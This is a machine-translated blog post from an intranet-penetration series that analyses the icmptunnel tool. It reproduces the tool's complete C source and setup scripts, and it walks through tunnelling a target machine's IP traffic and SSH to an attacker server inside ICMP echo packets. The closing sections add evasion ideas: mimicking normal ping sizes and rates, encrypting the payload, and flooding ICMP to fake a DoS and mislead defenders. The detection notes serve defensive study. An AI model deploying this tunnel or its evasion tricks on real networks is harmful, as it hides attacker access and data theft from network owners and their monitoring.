当前位置:网站首页>Intranet penetration series: icmptunnel of Intranet tunnel (by master dhavalkapil)
Intranet penetration series: icmptunnel of Intranet tunnel (by master dhavalkapil)
2022-04-23 07:55:00 【Fish in Siyuan Lake】
Preface
This paper studies ICMP A tool for tunnels ,DhavalKapil Master's icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
One 、 summary
1、 brief introduction
Last updated on 2017 year , use C Language writing , Create a virtual network card through ICMP Protocol transfer IP Traffic
Conditions :
- Target machine ( client ) need root jurisdiction
- Target machine ( client ) Sure ping attack ( Server side )
- Only in linux Environmental use
2、 principle
ICMP For the principle of tunnel, see : Intranet penetration series : Of Intranet tunnels ICMP Tunnel
Traffic sending method :
- Target machine ( client ) take IP The flow is encapsulated in ICMP Of echo Sent to the attacker in the packet ( Server side )
- The attacker ( Server side ) take IP The flow is encapsulated in ICMP Of reply Send the packet to the target machine ( client )
- These two kinds of ICMP Data package see RFC792
framework :

3、 Use
Compile both ends :
make
attack ( Server side ) Create a virtual network card and assign IP
[sudo] ./icmptunnel -s 10.0.1.1
Target machine ( client ) modify client.sh And start the tunnel
[sudo] ./icmptunnel -c <server>
Two 、 practice
1、 Test scenarios
attack ( Server side ):kali 192.168.10.128
Target machine ( client ):ubuntu 192.168.10.129
The target can ping Communication attack machine

2、 Build a tunnel
(1) compile
make compile
make
Target machine

attack

(2) Server monitoring
To look at first route
route -n

Build a tunnel
./icmptunnel -s 10.0.1.1

Now check the route again

More than a tun0 Virtual network card
(3) The client starts
View routes

modify client.sh

Establishing a connection
./icmptunnel -c 192.168.10.128

Now check the route again

You can see that there are many tun0, Connection established successfully
(4)ssh
Then you can ssh Connected to

3、 Grab the bag and have a look
The virtual network adapter tun0

network card eth0

You can see everything TCP The traffic is loaded into ICMP In the flow
3、 ... and 、 Explore
1、 Source code and Analysis
(1)icmp.c
/** * icmp.c Get it done ICMP Of packet */
#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/** * Function to calculate checksum */
uint16_t in_cksum(uint16_t *addr, int len);
/** * Function to fill up common headers for IP and ICMP */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);
/** * Function to set packet type as ECHO */
void set_echo_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHO;
}
/** * Function to set packet type as REPLY */
void set_reply_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHOREPLY;
}
/** * Function to open a socket for icmp */
// Initialize a socket, In fact, most tunnels still use socket
int open_icmp_socket()
{
int sock_fd, on = 1;
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock_fd == -1) {
perror("Unable to open ICMP socket\n");
exit(EXIT_FAILURE);
}
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
perror("Unable to set IP_HDRINCL socket option\n");
exit(EXIT_FAILURE);
}
return sock_fd;
}
/** * Function to bind the socket to INADDR_ANY */
// Bind all network cards , It's a little noisy
void bind_icmp_socket(int sock_fd)
{
struct sockaddr_in servaddr;
// Initializing servaddr to bind to all interfaces
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// binding the socket
if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
perror("Unable to bind\n");
exit(EXIT_FAILURE);
}
}
/** * Function to send ICMP Packet */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
// Source and destination IPs
struct in_addr src_addr;
struct in_addr dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
struct sockaddr_in servaddr;
// IP Base conversion of
inet_pton(AF_INET, packet_details->src_addr, &src_addr);
inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);
packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
packet = calloc(packet_size, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(EXIT_FAILURE);
}
// Initializing header and payload pointers
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
prepare_headers(ip, icmp);
ip->tot_len = htons(packet_size);
ip->saddr = src_addr.s_addr;
ip->daddr = dest_addr.s_addr;
memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);
icmp->type = packet_details->type;
icmp->checksum = 0;
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dest_addr.s_addr;
// Sending the packet
sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
free(packet);
}
/** * Function to receive an ICMP packet */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
struct sockaddr_in src_addr;
//struct sockaddr_in dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
socklen_t src_addr_size;
int enc_MTU; //encapsulated MTU
enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
packet = calloc(enc_MTU, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
src_addr_size = sizeof(struct sockaddr_in);
// Receiving packet
packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
// Filling up packet_details
inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
packet_details->type = icmp->type;
packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
if (packet_details->payload == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);
free(packet);
}
/** * Function to close the icmp socket */
void close_icmp_socket(int sock_fd)
{
close(sock_fd);
}
/** * Function to calculate checksum */
uint16_t in_cksum(uint16_t *addr, int len)
{
int nleft = len;
uint32_t sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
// Adding 16 bits sequentially in sum
while (nleft > 1) {
sum += *w;
nleft -= 2;
w++;
}
// If an odd byte is left
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
/** * Function to fill up common headers for IP and ICMP */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
ip->version = 4;
ip->ihl = 5; // The length of the first
ip->tos = 0; //4bit Priority ,ICMP Set to 0
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
icmp->code = 0; // 0 yes echo
icmp->un.echo.sequence = rand();
icmp->un.echo.id = rand();
icmp->checksum = 0;
}
(2)test_client.c
// The test client sends
#include "icmp.h"
#include <string.h>
int main()
{
struct icmp_packet packet;
char *src_ip;
char *dest_ip;
int sock_fd;
src_ip = "127.0.0.2";
dest_ip = "127.0.0.1";
strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
set_reply_type(&packet);
packet.payload = "ZZZZZZ"; // The content of the test , It can be changed to more confusing
packet.payload_size = strlen(packet.payload);
sock_fd = open_icmp_socket();
send_icmp_packet(sock_fd, &packet);
close_icmp_socket(sock_fd);
}
(3)test_server.c
// Test the reception of the server
#include "icmp.h"
#include <stdio.h>
#include <string.h>
int main()
{
struct icmp_packet packet;
int sock_fd;
sock_fd = open_icmp_socket();
bind_icmp_socket(sock_fd);
printf("server initialized\n");
while(1)
{
receive_icmp_packet(sock_fd, &packet);
printf("%s\n", packet.src_addr);
printf("%s\n", packet.dest_addr);
printf("%d\n", packet.type);
printf("%s\n", packet.payload);
}
close_icmp_socket(sock_fd);
}
(4)tunnel.c
/** * tunnel.c Through the virtual network card tunnel, And pass socket Reading and writing */
#include "icmp.h"
#include "tunnel.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DEFAULT_ROUTE "0.0.0.0"
/** * Function to allocate a tunnel */
int tun_alloc(char *dev, int flags)
{
struct ifreq ifr;
int tun_fd, err;
char *clonedev = "/dev/net/tun"; // The virtual network adapter
printf("[DEBUG] Allocating tunnel\n");
tun_fd = open(clonedev, O_RDWR);
if(tun_fd == -1) {
perror("Unable to open clone device\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = flags;
if (*dev) {
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
}
if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
close(tun_fd);
fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
perror("Error in tun_alloc()\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Allocatating tunnel2");
printf("[DEBUG] Created tunnel %s\n", dev);
return tun_fd;
}
/** * Function to read from a tunnel */
int tun_read(int tun_fd, char *buffer, int length)
{
int bytes_read;
printf("[DEBUG] Reading from tunnel\n");
bytes_read = read(tun_fd, buffer, length);
if (bytes_read == -1) {
perror("Unable to read from tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_read;
}
}
/** * Function to write to a tunnel */
int tun_write(int tun_fd, char *buffer, int length)
{
int bytes_written;
printf("[DEBUG] Writing to tunnel\n");
bytes_written = write(tun_fd, buffer, length);
if (bytes_written == -1) {
perror("Unable to write to tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_written;
}
}
/** * Function to configure the network */
void configure_network(int server) //server It's a flag,1 yes server,0 yes client
{
int pid, status;
char path[100];
char *const args[] = {
path, NULL};
if (server) {
if (sizeof(SERVER_SCRIPT) > sizeof(path)){
perror("Server script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
}
else {
if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
perror("Client script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
}
pid = fork();
if (pid == -1) {
perror("Unable to fork\n");
exit(EXIT_FAILURE);
}
if (pid==0) {
// Child process, run the script
exit(execv(path, args));
}
else {
// Parent process
waitpid(pid, &status, 0);
if (WEXITSTATUS(status) == 0) {
// Script executed correctly
printf("[DEBUG] Script ran successfully\n");
}
else {
// Some error
printf("[DEBUG] Error in running script\n");
}
}
}
/** * Function to run the tunnel */
void run_tunnel(char *dest, int server)
{
struct icmp_packet packet;
int tun_fd, sock_fd;
fd_set fs;
tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); // Create a point-to-point device , The package does not contain , By default, each packet is transferred to user space , Will contain an additional header to hold the package information
printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
printf("[DEBUG] Opening ICMP socket\n");
sock_fd = open_icmp_socket();
if (server) {
printf("[DEBUG] Binding ICMP socket\n");
bind_icmp_socket(sock_fd);
}
configure_network(server);
// Asynchronous network communication
while (1) {
FD_ZERO(&fs);
FD_SET(tun_fd, &fs);
FD_SET(sock_fd, &fs);
select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(tun_fd, &fs)) {
printf("[DEBUG] Data needs to be readed from tun device\n");
// Reading data from tun device and sending ICMP packet
printf("[DEBUG] Preparing ICMP packet to be sent\n");
// Preparing ICMP packet to be sent
memset(&packet, 0, sizeof(struct icmp_packet));
printf("[DEBUG] Destination address: %s\n", dest);
if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
close(tun_fd);
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
if(server) {
set_reply_type(&packet);
}
else {
set_echo_type(&packet);
}
packet.payload = calloc(MTU, sizeof(uint8_t));
if (packet.payload == NULL){
perror("No memory available\n");
exit(EXIT_FAILURE);
}
packet.payload_size = tun_read(tun_fd, packet.payload, MTU);
if(packet.payload_size == -1) {
perror("Error while reading from tun device\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
// Sending ICMP packet
send_icmp_packet(sock_fd, &packet);
free(packet.payload);
}
if (FD_ISSET(sock_fd, &fs)) {
printf("[DEBUG] Received ICMP packet\n");
// Reading data from remote socket and sending to tun device
// Getting ICMP packet
memset(&packet, 0, sizeof(struct icmp_packet));
receive_icmp_packet(sock_fd, &packet);
printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
// Writing out to tun device
tun_write(tun_fd, packet.payload, packet.payload_size);
printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
free(packet.payload);
}
}
}
(5)icmptunnel.c
/** * icmp_tunnel.c */
#include "tunnel.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"
void usage()
{
printf("Wrong argument\n");
fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}
int main(int argc, char *argv[])
{
char ip_addr[100] = {
0,};
if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
usage();
exit(EXIT_FAILURE);
}
memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);
if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 1);
}
else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 0);
}
else {
usage();
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
(6)client.sh
Set up the virtual network card , Add route
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0
# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0
(7)server.sh
Set up the virtual network card , Turn off the kernel ping
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0
# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward
# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
2、 Detection and bypass
(1) Detect virtual network card
There are more virtual network cards for no reason , It's probably a problem
This detection method cannot be avoided by this tool
(2) testing ping Is it banned
namely /proc/sys/net/ipv4/icmp_echo_ignore_all Is it 1
If this tool regards the target machine as a client , No such problem
(3) abnormal ICMP Number of packets
As shown in the figure ssh When the connection ,1s Internally 20 About a bag , It's all designated IP Address

It seems to be an unavoidable problem
Maybe you can do the opposite , That is, use a large amount of ICMP Packets and other packets flooded the target plane , cause DoS The illusion of attack , The sham as the genuine , Confuse , As the case may be
(4) abnormal ICMP Bag length

However, this can be set to a limited length 64, Slice and assemble
(5)payload Content
For example, the following one is ssh Connect

The content is obviously strange
normal ping command :
windows Under the system ping The default transmission is :abcdefghijklmnopqrstuvwabcdefghi, common 32bytes
linux Under the system ,ping The default transmission is 48bytes, front 8bytes Over time , The back is fixed , The content is !”#$%&’()+,-./01234567
Here we confuse encryption , Will it be better
Conclusion
Improvement considerations :
- Change the length and quantity to similar ping command
- Content obfuscation encryption
- Consider cross platform
版权声明
本文为[Fish in Siyuan Lake]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265481.html
边栏推荐
- 内网渗透系列:内网隧道之icmpsh
- 解决在docker中部署mysql8, 密码正确但无法登陆MySQL问题
- 大学学习路线规划建议贴
- 平面定义-平面方程
- TimelineWindow
- 保研准备经验贴——18届(2021年)中南计科推免到浙大工院
- When using flash, the code ends automatically without an error, the connection cannot be maintained, and the URL cannot be accessed.
- RGB color to hex and unit conversion
- 读书笔记
- C SVG path parser of xamarin version
猜你喜欢

Teach-Repeat-Replan: A Complete and Robust System for Aggressive Flight in Complex Environments

三分钟教你用Houdini流体>>解算粒子流体水滴

Shapley Explanation Networks

The projection vector of a vector to a plane

庄懂的TA笔记(六)<FakeEnvReflect && 生锈,锈迹效果>

Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly

Houdini > rigid body, rigid body breaking RBD

ABAP ALV显示金额与导出金额不一致

Houdini>建筑道路可变,学习过程笔记

Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight
随机推荐
About USB flash drive data prompt raw, need to format, data recovery notes
踩坑日记:Unable to process Jar entry [module-info.class]
MySQL8. 0 installation / uninstallation tutorial [window10 version]
How to present your digital portfolio: suggestions from creative recruiters
一文了解系列,对web渗透的常见漏洞总结(持续更新)
Quick sort
UnityShader基础
常用Markdown语法学习
When using flash, the code ends automatically without an error, the connection cannot be maintained, and the URL cannot be accessed.
Nodejs (four) character reading
Scrapy 修改爬虫结束时统计数据中的时间为当前系统时间
关于unity获取真实地理地图转3D化的相关链接
Shapley Explanation Networks
Towords Open World Object Detection
《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御
C # control the camera, rotate and drag the observation script (similar to scenes observation mode)
《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御
Dictionary & lt; T1,T2&gt; Sorting problem
Houdini > rigid body, rigid body breaking RBD
Automatically fit single line text into the target rectangle